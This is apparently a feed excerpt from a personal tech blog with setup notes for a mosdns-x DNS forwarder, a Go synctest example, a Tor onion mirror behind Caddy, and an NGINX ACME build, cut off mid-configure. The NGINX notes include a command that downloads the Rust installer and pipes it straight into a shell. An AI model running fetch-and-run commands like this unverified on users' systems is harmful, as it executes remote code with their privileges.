&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> type: cache
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> args:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> size: 1024
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> lazy_cache_ttl: 1800
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> # 并发上游：取最先返回的可用答案
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - tag: forward_all
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> type: fast_forward
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> args:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> upstream:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> # 阿里
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;udp://223.5.5.5&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;tls://dns.alidns.com&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> # DNSPod / doh.pub
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;udp://119.29.29.29&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;tls://dot.pub&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> # Cloudflare
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;udp://1.1.1.1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;tls://cloudflare-dns.com&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> # Google
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;udp://8.8.8.8&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: &amp;#34;tls://dns.google&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> # 主流水线：小缓存 → 并发优选
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - tag: main
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> type: sequence
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> args:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> exec:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - cache
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - forward_all
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"># 监听（双栈 UDP/TCP 53）
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">servers:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - exec: main
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> listeners:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: :53
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> protocol: udp
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - addr: :53
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> protocol: tcp
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="systemd">systemd&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo tee /etc/systemd/system/mosdns.service &amp;gt; /dev/null &lt;span style="color:#e6db74">&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">[Unit]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">Description=Mosdns-X DNS Accelerator
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">After=network.target
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">[Service]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">Type=simple
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">User=root
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">Group=root
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">ExecStart=/usr/local/bin/mosdns-x start --as-service -d /usr/local/bin -c /etc/mosdns-x/config.yaml
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">Restart=always
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">RestartSec=5
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">StandardOutput=journal
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">StandardError=journal
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">SyslogIdentifier=mosdns
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">[Install]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">WantedBy=multi-user.target
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl daemon-reload
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl enable --now mosdns
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 备份系统 DNS&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo cp -n /etc/resolv.conf /etc/resolv.conf.mosdns-backup
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 改为使用本地 Mosdns-X&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -e &lt;span style="color:#e6db74">&amp;#34;nameserver 127.0.0.1\noptions edns0&amp;#34;&lt;/span> | sudo tee /etc/resolv.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 若 53 端口被 systemd-resolved 占用，可禁用它&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl disable --now systemd-resolved 2&amp;gt;/dev/null &lt;span style="color:#f92672">||&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 如果想顺便加锁（防止被 DHCP 修改），加上 chattr 一起执行：&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -e &lt;span style="color:#e6db74">&amp;#34;nameserver 127.0.0.1\n&amp;#34;&lt;/span> &amp;gt; /etc/resolv.conf &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> chattr +i /etc/resolv.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 查看进程状态&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl status mosdns --no-pager
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 测试解析速度（第二次命中缓存更快）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dig +stats www.google.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dig +stats www.baidu.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 查看实时日志&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tail -f /var/log/mosdns-x/mosdns-x.log
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>go-synctest</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251107-go-synctest/</link><pubDate>Fri, 07 Nov 2025 14:06:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251107-go-synctest/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ganhua.wang/go-synctest" target="_blank" rel="noopener">go-synctest&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">TestAfterFunc&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">synctest&lt;/span>.&lt;span style="color:#a6e22e">Test&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ctx&lt;/span>, &lt;span style="color:#a6e22e">cancel&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">context&lt;/span>.&lt;span style="color:#a6e22e">WithCancel&lt;/span>(&lt;span style="color:#a6e22e">context&lt;/span>.&lt;span style="color:#a6e22e">Background&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">called&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">context&lt;/span>.&lt;span style="color:#a6e22e">AfterFunc&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>() { &lt;span style="color:#a6e22e">called&lt;/span> = &lt;span style="color:#66d9ef">true&lt;/span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">synctest&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>() &lt;span style="color:#75715e">// 等到所有 goroutine 都卡住&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">called&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">t&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;AfterFunc 在 cancel 前就被呼叫&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">cancel&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">synctest&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>() &lt;span style="color:#75715e">// 再等一次&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">called&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">t&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;AfterFunc 沒有在 cancel 後被呼叫&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>onion-mirror</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251030-onion-mirror/</link><pubDate>Thu, 30 Oct 2025 17:49:44 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251030-onion-mirror/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://flower.codes/2025/10/23/onion-mirror.html" target="_blank" rel="noopener">onion-mirror&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="安裝-tor">安裝 Tor&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt update
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt install tor
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="設定-tor">設定 Tor&lt;/h3>
&lt;pre tabindex="0">&lt;code># Disable SOCKS proxy since we aren&amp;#39;t making outbound connections
# through Tor
SocksPort 0
# Make sure Tor runs as a daemon (i.e. in the background)
RunAsDaemon 1
# Setup the hidden service on port 80, this is where we tell Tor to
# create a .onion service for our web server
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80
# Disable inbound connections, since we aren&amp;#39;t running a relay or
# exit node
ORPort 0
# Disable directory services, since we won&amp;#39;t be mirroring directory
# information to other Tor nodes
DirPort 0
&lt;/code>&lt;/pre>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo systemctl restart tor
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="取得你的-onion-位址">取得你的 .onion 位址&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo cat /var/lib/tor/hidden_service/hostname
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="設定-caddy">設定 Caddy&lt;/h3>
&lt;pre tabindex="0">&lt;code>http://jytkco7clxwj4hhzaydhk4kr3hwzsdzyvtsc6zn2ivog5uma5pxowzad.onion:80 {
# Set up a reverse proxy, or serve static files, etc.
}
&lt;/code>&lt;/pre>&lt;h3 id="公告你的-onion-位址">公告你的 .onion 位址&lt;/h3>
&lt;pre tabindex="0">&lt;code>header {
Onion-Location http://jytkco7clxwj4hhzaydhk4kr3hwzsdzyvtsc6zn2ivog5uma5pxowzad.onion{uri}
}
&lt;/code>&lt;/pre></description></item><item><title>NGINX 原生 ACME 支持：从根本上重塑 TLS 自动化部署</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251020-nginx-acme-module/</link><pubDate>Mon, 20 Oct 2025 16:31:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251020-nginx-acme-module/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://sconts.com/post/nginx-native-acme-support/" target="_blank" rel="noopener">NGINX 原生 ACME 支持：从根本上重塑 TLS 自动化部署&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="ngx_http_acme_module">&lt;code>ngx_http_acme_module&lt;/code>&lt;/h2>
&lt;ul>
&lt;li>NGINX 1.25.1&lt;/li>
&lt;/ul>
&lt;h2 id="pre-install">pre-install&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 在 Debian/Ubuntu 系统上安装基础编译工具和 NGINX 依赖&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt update
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt install build-essential libpcre3-dev zlib1g-dev libssl-dev pkg-config libclang-dev git -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安装 Rust 工具链 (cargo 和 rustc)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl --proto &lt;span style="color:#e6db74">&amp;#39;=https&amp;#39;&lt;/span> --tlsv1.2 -sSf https://sh.rustup.rs | sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>source $HOME/.cargo/env
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -pv /app/nginx/&lt;span style="color:#f92672">{&lt;/span>logs,conf,cache, acme&lt;span style="color:#f92672">}&lt;/span> /app/nginx-build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd /app/nginx-build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 克隆 ACME 模块的源码&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git clone https://github.com/nginx/nginx-acme.git /app/nginx-build/nginx-acme
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 或者&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># git clone git@github.com:nginx/nginx-acme.git /app/nginx-build/nginx-acme&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 下载 NGINX 源码（请替换为您需要的版本）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget https://nginx.org/download/nginx-1.28.0.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar -zxf nginx-1.28.0.tar.gz
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="compile">compile&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>cd nginx-1.28.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./configure &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --prefix&lt;span style="color:#f92672">=&lt;/span>/app/nginx &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --error-log-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/error.log &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --http-log-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/access.log &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --pid-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/nginx.pid &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --lock-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/nginx.lock &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --http-client-body-temp-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/cache/client_temp &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --http-proxy-temp-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/cache/proxy_temp &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --http-fastcgi-temp-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/cache/fastcgi_temp &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --http-uwsgi-temp-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/cache/uwsgi_temp &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --http-scgi-temp-path&lt;span style="color:#f92672">=&lt;/span>/app/nginx/cache/scgi_temp &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --user&lt;span style="color:#f92672">=&lt;/span>nginx &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --group&lt;span style="color:#f92672">=&lt;/span>nginx &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-compat &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-file-aio &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-threads &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_addition_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_auth_request_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_dav_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_flv_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_gunzip_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_gzip_static_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_mp4_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_random_index_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_realip_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_secure_link_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_slice_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_ssl_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_stub_status_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_sub_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_v2_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-http_v3_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-mail &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-mail_ssl_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-stream &lt;span style="color:#ae81ff">\
